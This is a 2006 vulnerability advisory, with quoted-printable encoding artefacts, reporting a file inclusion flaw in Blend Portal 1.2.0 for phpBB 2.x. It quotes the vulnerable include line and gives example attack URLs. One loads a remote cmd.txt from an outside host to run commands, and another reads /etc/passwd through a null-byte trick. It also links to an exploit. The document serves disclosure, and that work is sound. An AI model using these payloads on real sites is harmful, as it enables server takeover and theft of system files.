Advisory: Blend Portal <= 1.2.0 for phpBB 2.x

[Mustafa Can Bjorn IPEKCI]

--Security Report--
Advisory: Blend Portal <=3D 1.2.0 for phpBB 2.x =20
(blend_data/blend_common.php) File Inclusion Vulnerability.
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Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
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Date: 28/05/06 07:52 PM
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Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com
Web: http://www.nukedx.com
}
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Vendor: phpbb-portal (http://www.phpbb-portal.com/)
Version: 1.2.0 and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary =20
internal/external files to phpBB. phpbb_root_path
variable in /blend_data/blend_common.php did not sanitized properly =20
before using it.You can find vulnerable code in
blend_common.php at lines 74-77
-Source in blend_common.php-
74: else
75: {
76: include_once($phpbb_root_path . BLEND_DATA_PATH . BLEND_CACHE_PATH =20
..'config.'. $phpEx);
77: }
-End of source-
Level: Highly Critical
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How&Example:
Succesful exploitation needs register_globals on & allow url_fopen on
GET -> =20
http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=3D[FILE]
EXAMPLE -> =20
http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=3Dhttp:/=
/yoursite.com/cmd.txt?
EXAMPLE -> =20
http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=3D/etc/p=
asswd%00
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Timeline:
* 28/05/2006: Vulnerability found.
* 28/05/2006: Contacted with vendor and waiting reply.
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Exploit: http://www.nukedx.com/?getxpl=3D41
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Original advisory can be found at: http://www.nukedx.com/?viewdoc=3D41